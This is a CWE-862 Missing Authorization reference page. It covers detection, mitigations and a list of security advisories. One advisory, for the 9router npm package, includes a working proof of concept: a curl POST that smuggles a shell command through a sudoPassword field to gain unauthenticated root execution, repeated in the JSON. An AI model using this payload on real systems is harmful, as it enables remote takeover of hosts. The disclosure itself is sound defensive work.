CWE-862
Weakness Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
Dimensions
- Behavior-Property: Missing
- Behavior-Type: Authorization
Mapping guidance
This CWE entry is a Class and might have Base-level children that would be more appropriate
Examine children of this entry to see if there is a better fit
Relationships and members
Modes of introduction
OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.
A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.
Detection methods
Automated Static Analysis
Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.
Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.
Effectiveness: Limited
Automated Dynamic Analysis
Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.
Manual Analysis
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.
Effectiveness: Moderate
These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: SOAR Partial
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Host Application Interface Scanner
Fuzz Tester
Framework-based Fuzzer
Effectiveness: SOAR Partial
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)
Effectiveness: SOAR Partial
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: SOAR Partial
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction
Effectiveness: High
Notes
Terminology
Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.
Content history
Suggested mappings to ISA/IEC 62443.
Provided diagram to improve CWE usability
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships
updated Potential_Mitigations, References, Relationships
updated Demonstrative_Examples, Observed_Examples, References, Relationships
updated Potential_Mitigations
updated Relationships
updated Detection_Factors
updated Relationships
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
updated References
updated Relationships
updated Relationships
updated Relationships
updated Relationships
updated Alternate_Terms, Observed_Examples
updated Observed_Examples, Related_Attack_Patterns, Relationships
updated Relationships
updated Relationships
updated Observed_Examples
updated Description, Potential_Mitigations
updated References, Relationships, Taxonomy_Mappings
updated Mapping_Notes, Relationships, Taxonomy_Mappings
updated Common_Consequences, Description, Diagram, Relationships, Terminology_Notes
updated Applicable_Platforms, Detection_Factors, Observed_Examples, References
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
updated Applicable_Platforms, Observed_Examples, Relationships
updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings
20020 vulnerabilities reference this CWE, most recent first.
GHSA-G6G2-QR88-W8QF
Vulnerability from github – Published: 2026-02-19 18:31 – Updated: 2026-02-20 00:31Missing Authorization vulnerability in BBR Plugins Better Business Reviews better-business-reviews allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Better Business Reviews: from n/a through <= 0.1.1.
{
"affected": [],
"aliases": [
"CVE-2026-23804"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-19T09:16:13Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in BBR Plugins Better Business Reviews better-business-reviews allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Better Business Reviews: from n/a through \u003c= 0.1.1.",
"id": "GHSA-g6g2-qr88-w8qf",
"modified": "2026-02-20T00:31:52Z",
"published": "2026-02-19T18:31:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23804"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/better-business-reviews/vulnerability/wordpress-better-business-reviews-plugin-0-1-1-broken-access-control-vulnerability-2?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-G6G7-PVMX-M74P
Vulnerability from github – Published: 2026-07-02 20:17 – Updated: 2026-07-07 18:35Unauthenticated RCE via /api/tunnel/tailscale-install
Affected: 9router (npm package) — current master (v0.4.39).
Summary
POST /api/tunnel/tailscale-install accepts a JSON body with a sudoPassword field and pipes it, followed by the body of https://tailscale.com/install.sh, into a child process spawned as sudo -S sh. The route is not present in the dashboard middleware matcher in src/proxy.js, so the request reaches the handler without invoking dashboardGuard.proxy(). In deployments where the Node process runs as root (Docker images derived from node:* without a USER directive, npm i -g 9router invoked as root, or systemd units without User=), the spawned sh runs as root and executes the attacker-supplied bytes.
Details
1. Middleware matcher (src/proxy.js:3-15)
export const config = {
matcher: [
"/",
"/dashboard/:path*",
"/api/shutdown",
"/api/settings/:path*",
"/api/keys",
"/api/keys/:path*",
"/api/providers/client",
"/api/provider-nodes/validate",
"/api/cli-tools/:path*",
"/api/mcp/:path*",
],
};
Next.js invokes the middleware only for paths matching this list. Routes that are not listed — including the entire /api/tunnel/* family — do not invoke dashboardGuard.proxy(). No cookie, JWT, CLI token, or Host-header check is applied to them.
2. Route handler (src/app/api/tunnel/tailscale-install/route.js:18-67)
export async function POST(request) {
const body = await request.json().catch(() => ({}));
...
const sudoPassword =
body.sudoPassword || getCachedPassword() || await loadEncryptedPassword() || "";
...
const result = await installTailscale(sudoPassword, shortId, (msg) => {
send("progress", { message: msg });
});
...
}
body.sudoPassword comes from the request body and is passed to installTailscale, which dispatches to installTailscaleLinux on Linux.
3. Linux installation routine (src/lib/tunnel/tailscale.js:304-341)
async function installTailscaleLinux(sudoPassword, log) {
log("Downloading install script...");
return new Promise((resolve, reject) => {
const curlChild = spawn("curl", ["-fsSL", "https://tailscale.com/install.sh"], { ... });
let scriptContent = "";
curlChild.stdout.on("data", (d) => { scriptContent += d.toString(); });
curlChild.on("exit", (code) => {
if (code !== 0) return reject(...);
log("Running install script...");
const child = spawn("sudo", ["-S", "sh"], { stdio: ["pipe", "pipe", "pipe"], windowsHide: true });
...
child.stdin.write(`${sudoPassword}\n`); // ← from request body
child.stdin.write(scriptContent);
child.stdin.end();
});
});
}
The byte stream sent to the stdin of the sudo -S sh child process is:
<sudoPassword from request body>\n
<https://tailscale.com/install.sh body>
When the caller is already root, has NOPASSWD configured for the user, or has a recent sudo timestamp cache, sudo -S sh does not read stdin for a password — it execs sh directly. The new sh process inherits the stdin pipe and reads it line by line:
- The
sudoPasswordvalue from the request — interpreted as the first shell command. - The
install.shbody — interpreted as subsequent shell input.
Appending ; exit 0 to the sudoPassword value causes sh to exit before the legitimate install.sh body runs. The host executes only the request-supplied bytes, as the 9router process user.
Both "Docker container running as root" and "npm i -g 9router on a host with NOPASSWD sudo" reach this path.
PoC
The reproduction below is self-contained: build a representative target image (Node process running as root, with sudo and curl on PATH), start it, send one unauthenticated POST with curl, and read the file written by the payload.
Step 1 — build the target image
docker build -t 9router-vuln-root - <<'EOF'
FROM node:22-bookworm-slim
RUN apt-get update && apt-get install -y --no-install-recommends \
sudo curl ca-certificates \
&& rm -rf /var/lib/apt/lists/*
RUN npm install -g 9router@0.4.39
EXPOSE 20128
CMD ["9router"]
EOF
Step 2 — start the target
docker run -d --rm --name target -p 127.0.0.1:20129:20128 \
9router-vuln-root 9router --log --skip-update
until curl -fs -o /dev/null http://127.0.0.1:20129/api/health; do sleep 1; done
Step 3 — exploit (one unauthenticated POST)
curl -sN -X POST http://127.0.0.1:20129/api/tunnel/tailscale-install \
-H 'Content-Type: application/json' \
-d '{"sudoPassword":"id > /tmp/pwned.txt; exit 0"}'
Step 4 — verify
docker exec target cat /tmp/pwned.txt
# uid=0(root) gid=0(root) groups=0(root)
The trailing "Tailscale not installed" line is a consequence of ; exit 0 terminating sh before the legitimate install.sh body executed; the id > /tmp/pwned.txt write completed earlier in the same sh invocation. The POST carried no credentials, cookies, or prior state.
Impact
Type: Improper Access Control + OS Command Injection (CWE-862 + CWE-78).
Affected operators: 9router operators on Linux/macOS whose deployment matches one of the following configurations:
| Configuration | Example | Outcome |
|---|---|---|
| Node process runs as root | Custom Dockerfile without USER, systemd unit without User=, sudo npm i -g 9router && sudo 9router |
Unauthenticated remote root RCE (primary case in this report) |
Node process runs as a normal user with NOPASSWD sudo |
Developer laptop, CI runner, or single-tenant VPS where the operator's user has NOPASSWD: ALL |
Unauthenticated remote RCE as the operator's user; root reachable via sudo from the foothold |
Node process runs as a normal user without NOPASSWD and no stored password |
Hardened multi-user host | The spawn runs but sudo rejects the supplied value. No RCE; the request still triggers an outbound fetch from tailscale.com and the SSE error stream reveals platform information |
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "9router"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.44"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59800"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-02T20:17:56Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "# Unauthenticated RCE via `/api/tunnel/tailscale-install`\n\n**Affected:** `9router` (npm package) \u2014 current master (`v0.4.39`).\n\n### Summary\n\n`POST /api/tunnel/tailscale-install` accepts a JSON body with a `sudoPassword` field and pipes it, followed by the body of `https://tailscale.com/install.sh`, into a child process spawned as `sudo -S sh`. The route is not present in the dashboard middleware matcher in `src/proxy.js`, so the request reaches the handler without invoking `dashboardGuard.proxy()`. In deployments where the Node process runs as root (Docker images derived from `node:*` without a `USER` directive, `npm i -g 9router` invoked as root, or `systemd` units without `User=`), the spawned `sh` runs as root and executes the attacker-supplied bytes.\n\n### Details\n\n#### 1. Middleware matcher (`src/proxy.js:3-15`)\n\n```js\nexport const config = {\n matcher: [\n \"/\",\n \"/dashboard/:path*\",\n \"/api/shutdown\",\n \"/api/settings/:path*\",\n \"/api/keys\",\n \"/api/keys/:path*\",\n \"/api/providers/client\",\n \"/api/provider-nodes/validate\",\n \"/api/cli-tools/:path*\",\n \"/api/mcp/:path*\",\n ],\n};\n```\n\nNext.js invokes the middleware only for paths matching this list. Routes that are not listed \u2014 including the entire `/api/tunnel/*` family \u2014 do not invoke `dashboardGuard.proxy()`. No cookie, JWT, CLI token, or `Host`-header check is applied to them.\n\n#### 2. Route handler (`src/app/api/tunnel/tailscale-install/route.js:18-67`)\n\n```js\nexport async function POST(request) {\n const body = await request.json().catch(() =\u003e ({}));\n ...\n const sudoPassword =\n body.sudoPassword || getCachedPassword() || await loadEncryptedPassword() || \"\";\n ...\n const result = await installTailscale(sudoPassword, shortId, (msg) =\u003e {\n send(\"progress\", { message: msg });\n });\n ...\n}\n```\n\n`body.sudoPassword` comes from the request body and is passed to `installTailscale`, which dispatches to `installTailscaleLinux` on Linux.\n\n#### 3. Linux installation routine (`src/lib/tunnel/tailscale.js:304-341`)\n\n```js\nasync function installTailscaleLinux(sudoPassword, log) {\n log(\"Downloading install script...\");\n return new Promise((resolve, reject) =\u003e {\n const curlChild = spawn(\"curl\", [\"-fsSL\", \"https://tailscale.com/install.sh\"], { ... });\n let scriptContent = \"\";\n curlChild.stdout.on(\"data\", (d) =\u003e { scriptContent += d.toString(); });\n curlChild.on(\"exit\", (code) =\u003e {\n if (code !== 0) return reject(...);\n log(\"Running install script...\");\n const child = spawn(\"sudo\", [\"-S\", \"sh\"], { stdio: [\"pipe\", \"pipe\", \"pipe\"], windowsHide: true });\n ...\n child.stdin.write(`${sudoPassword}\\n`); // \u2190 from request body\n child.stdin.write(scriptContent);\n child.stdin.end();\n });\n });\n}\n```\n\nThe byte stream sent to the stdin of the `sudo -S sh` child process is:\n\n```\n\u003csudoPassword from request body\u003e\\n\n\u003chttps://tailscale.com/install.sh body\u003e\n```\n\nWhen the caller is already root, has `NOPASSWD` configured for the user, or has a recent sudo timestamp cache, `sudo -S sh` does not read stdin for a password \u2014 it `exec`s `sh` directly. The new `sh` process inherits the stdin pipe and reads it line by line:\n\n1. The `sudoPassword` value from the request \u2014 interpreted as the first shell command.\n2. The `install.sh` body \u2014 interpreted as subsequent shell input.\n\nAppending `; exit 0` to the `sudoPassword` value causes `sh` to exit before the legitimate `install.sh` body runs. The host executes only the request-supplied bytes, as the 9router process user.\n\nBoth \"Docker container running as root\" and \"`npm i -g 9router` on a host with `NOPASSWD` sudo\" reach this path.\n\n### PoC\n\nThe reproduction below is self-contained: build a representative target image (Node process running as root, with `sudo` and `curl` on `PATH`), start it, send one unauthenticated POST with `curl`, and read the file written by the payload.\n\n**Step 1 \u2014 build the target image**\n\n```sh\ndocker build -t 9router-vuln-root - \u003c\u003c\u0027EOF\u0027\nFROM node:22-bookworm-slim\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n sudo curl ca-certificates \\\n \u0026\u0026 rm -rf /var/lib/apt/lists/*\nRUN npm install -g 9router@0.4.39\nEXPOSE 20128\nCMD [\"9router\"]\nEOF\n```\n\n**Step 2 \u2014 start the target**\n\n```sh\ndocker run -d --rm --name target -p 127.0.0.1:20129:20128 \\\n 9router-vuln-root 9router --log --skip-update\nuntil curl -fs -o /dev/null http://127.0.0.1:20129/api/health; do sleep 1; done\n```\n\n**Step 3 \u2014 exploit (one unauthenticated POST)**\n\n```sh\ncurl -sN -X POST http://127.0.0.1:20129/api/tunnel/tailscale-install \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"sudoPassword\":\"id \u003e /tmp/pwned.txt; exit 0\"}\u0027\n```\n\n**Step 4 \u2014 verify**\n\n```sh\ndocker exec target cat /tmp/pwned.txt\n# uid=0(root) gid=0(root) groups=0(root)\n```\n\nThe trailing `\"Tailscale not installed\"` line is a consequence of `; exit 0` terminating `sh` before the legitimate `install.sh` body executed; the `id \u003e /tmp/pwned.txt` write completed earlier in the same `sh` invocation. The POST carried no credentials, cookies, or prior state.\n\n### Impact\n\n**Type:** Improper Access Control + OS Command Injection (CWE-862 + CWE-78).\n\n**Affected operators:** 9router operators on Linux/macOS whose deployment matches one of the following configurations:\n\n| Configuration | Example | Outcome |\n|---|---|---|\n| Node process runs as root | Custom `Dockerfile` without `USER`, `systemd` unit without `User=`, `sudo npm i -g 9router \u0026\u0026 sudo 9router` | Unauthenticated remote root RCE (primary case in this report) |\n| Node process runs as a normal user with `NOPASSWD` sudo | Developer laptop, CI runner, or single-tenant VPS where the operator\u0027s user has `NOPASSWD: ALL` | Unauthenticated remote RCE as the operator\u0027s user; root reachable via `sudo` from the foothold |\n| Node process runs as a normal user without `NOPASSWD` and no stored password | Hardened multi-user host | The spawn runs but `sudo` rejects the supplied value. No RCE; the request still triggers an outbound fetch from `tailscale.com` and the SSE error stream reveals platform information |",
"id": "GHSA-g6g7-pvmx-m74p",
"modified": "2026-07-07T18:35:34Z",
"published": "2026-07-02T20:17:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/decolua/9router/security/advisories/GHSA-g6g7-pvmx-m74p"
},
{
"type": "PACKAGE",
"url": "https://github.com/decolua/9router"
},
{
"type": "WEB",
"url": "https://github.com/decolua/9router/releases?q=0.4.44\u0026expanded=true"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "9router: Missing Authorization and OS Command Injection"
}
GHSA-G6H6-R377-VH4M
Vulnerability from github – Published: 2022-05-24 19:17 – Updated: 2022-05-24 19:17Due to a Missing Authorization weakness and Insufficient Granularity of Access Control in a specific device configuration, a vulnerability exists in Juniper Networks Junos OS on SRX Series whereby an attacker who attempts to access J-Web administrative interfaces can successfully do so from any device interface regardless of the web-management configuration and filter rules which may otherwise protect access to J-Web. This issue affects: Juniper Networks Junos OS SRX Series 20.4 version 20.4R1 and later versions prior to 20.4R2-S1, 20.4R3; 21.1 versions prior to 21.1R1-S1, 21.1R2. This issue does not affect Juniper Networks Junos OS versions prior to 20.4R1.
{
"affected": [],
"aliases": [
"CVE-2021-31384"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-19T19:15:00Z",
"severity": "HIGH"
},
"details": "Due to a Missing Authorization weakness and Insufficient Granularity of Access Control in a specific device configuration, a vulnerability exists in Juniper Networks Junos OS on SRX Series whereby an attacker who attempts to access J-Web administrative interfaces can successfully do so from any device interface regardless of the web-management configuration and filter rules which may otherwise protect access to J-Web. This issue affects: Juniper Networks Junos OS SRX Series 20.4 version 20.4R1 and later versions prior to 20.4R2-S1, 20.4R3; 21.1 versions prior to 21.1R1-S1, 21.1R2. This issue does not affect Juniper Networks Junos OS versions prior to 20.4R1.",
"id": "GHSA-g6h6-r377-vh4m",
"modified": "2022-05-24T19:17:51Z",
"published": "2022-05-24T19:17:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31384"
},
{
"type": "WEB",
"url": "https://kb.juniper.net"
},
{
"type": "WEB",
"url": "https://kb.juniper.net/InfoCenter/index?page=content\u0026id=JSA11252"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-G6HR-2P9X-W7P3
Vulnerability from github – Published: 2026-09-09 03:30 – Updated: 2026-09-10 21:31Missing authorization in WebView in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via crafted network traffic. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2026-87534"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-09T01:17:10Z",
"severity": "CRITICAL"
},
"details": "Missing authorization in WebView in Google Chrome on on Android prior to 153.0.8010.36 allowed a remote attacker leveraging social engineering to bypass system access restrictions via crafted network traffic. (Chromium security severity: Medium)",
"id": "GHSA-g6hr-2p9x-w7p3",
"modified": "2026-09-10T21:31:27Z",
"published": "2026-09-09T03:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-87534"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/09/stable-channel-update-for-desktop_0808145027.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/513134173"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G6PF-M72V-9JX7
Vulnerability from github – Published: 2021-11-25 00:00 – Updated: 2022-10-27 19:00WordPress Hide My WP plugin (versions <= 6.2.3) can be deactivated by any unauthenticated user. It is possible to retrieve a reset token which can then be used to deactivate the plugin.
{
"affected": [],
"aliases": [
"CVE-2021-36917"
],
"database_specific": {
"cwe_ids": [
"CWE-668",
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-11-24T17:15:00Z",
"severity": "HIGH"
},
"details": "WordPress Hide My WP plugin (versions \u003c= 6.2.3) can be deactivated by any unauthenticated user. It is possible to retrieve a reset token which can then be used to deactivate the plugin.",
"id": "GHSA-g6pf-m72v-9jx7",
"modified": "2022-10-27T19:00:29Z",
"published": "2021-11-25T00:00:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36917"
},
{
"type": "WEB",
"url": "https://codecanyon.net/item/hide-my-wp-amazing-security-plugin-for-wordpress/4177158"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/hide-my-wp/wordpress-hide-my-wp-premium-plugin-6-2-3-unauthenticated-plugin-deactivation-vulnerability"
},
{
"type": "WEB",
"url": "https://patchstack.com/hide-my-wp-vulnerabilities-fixed"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G6PV-VRJH-4G5J
Vulnerability from github – Published: 2023-06-07 03:30 – Updated: 2024-04-04 04:38The uListing plugin for WordPress is vulnerable to authorization bypass via wp_route due to missing capability checks, and a missing security nonce, in the StmListingSingleLayout::import_new_layout method in versions up to, and including, 1.6.6. This makes it possible for unauthenticated attackers to change any WordPress option in the database.
{
"affected": [],
"aliases": [
"CVE-2021-4381"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-07T02:15:15Z",
"severity": "CRITICAL"
},
"details": "The uListing plugin for WordPress is vulnerable to authorization bypass via wp_route due to missing capability checks, and a missing security nonce, in the StmListingSingleLayout::import_new_layout method in versions up to, and including, 1.6.6. This makes it possible for unauthenticated attackers to change any WordPress option in the database.",
"id": "GHSA-g6pv-vrjh-4g5j",
"modified": "2024-04-04T04:38:46Z",
"published": "2023-06-07T03:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-4381"
},
{
"type": "WEB",
"url": "https://blog.nintechnet.com/wordpress-ulisting-plugin-fixed-multiple-critical-vulnerabilities"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=2456786%40ulisting\u0026new=2456786%40ulisting\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ff5755dc-2262-47f6-ac3a-6bca9529d088?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G6Q4-JQWC-9W46
Vulnerability from github – Published: 2026-08-17 18:31 – Updated: 2026-08-17 18:31In JetBrains YouTrack before 2026.2.17917 unauthorised project transfer between organisations was possible
{
"affected": [],
"aliases": [
"CVE-2026-75051"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-17T16:17:52Z",
"severity": "HIGH"
},
"details": "In JetBrains YouTrack before 2026.2.17917 unauthorised project transfer between organisations was possible",
"id": "GHSA-g6q4-jqwc-9w46",
"modified": "2026-08-17T18:31:19Z",
"published": "2026-08-17T18:31:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75051"
},
{
"type": "WEB",
"url": "https://www.jetbrains.com/privacy-security/issues-fixed"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G6QH-RMXP-HMQQ
Vulnerability from github – Published: 2026-10-21 00:32 – Updated: 2026-10-21 18:33Out of bounds read in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to read memory inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
{
"affected": [],
"aliases": [
"CVE-2026-113151"
],
"database_specific": {
"cwe_ids": [
"CWE-125",
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-20T22:19:07Z",
"severity": "MODERATE"
},
"details": "Out of bounds read in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to read memory inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)",
"id": "GHSA-g6qh-rmxp-hmqq",
"modified": "2026-10-21T18:33:04Z",
"published": "2026-10-21T00:32:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113151"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/560157609"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G6QV-C4M7-6R8W
Vulnerability from github – Published: 2025-10-25 06:30 – Updated: 2025-10-25 06:30The Product Filter by WBW plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'approveNotice' action in all versions up to, and including, 3.0.0. This makes it possible for unauthenticated attackers to update the plugin's settings.
{
"affected": [],
"aliases": [
"CVE-2025-11269"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-25T06:15:35Z",
"severity": "MODERATE"
},
"details": "The Product Filter by WBW plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the \u0027approveNotice\u0027 action in all versions up to, and including, 3.0.0. This makes it possible for unauthenticated attackers to update the plugin\u0027s settings.",
"id": "GHSA-g6qv-c4m7-6r8w",
"modified": "2025-10-25T06:30:15Z",
"published": "2025-10-25T06:30:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11269"
},
{
"type": "WEB",
"url": "https://github.com/wpcodefactory/woo-product-filter/commit/313f69908cadc31fa9c1e098ff989dc4f75dfdb5"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3382669%40woo-product-filter\u0026new=3382669%40woo-product-filter\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/03b1d518-0e5d-4c28-af04-52611ad583a8?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G6RQ-PXQ3-M464
Vulnerability from github – Published: 2025-07-16 12:30 – Updated: 2026-04-01 18:35Missing Authorization vulnerability in SMTP2GO SMTP2GO allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects SMTP2GO: from n/a through 1.12.1.
{
"affected": [],
"aliases": [
"CVE-2025-54011"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-16T11:15:28Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in SMTP2GO SMTP2GO allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects SMTP2GO: from n/a through 1.12.1.",
"id": "GHSA-g6rq-pxq3-m464",
"modified": "2026-04-01T18:35:46Z",
"published": "2025-07-16T12:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54011"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/smtp2go/vulnerability/wordpress-smtp2go-plugin-1-12-1-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
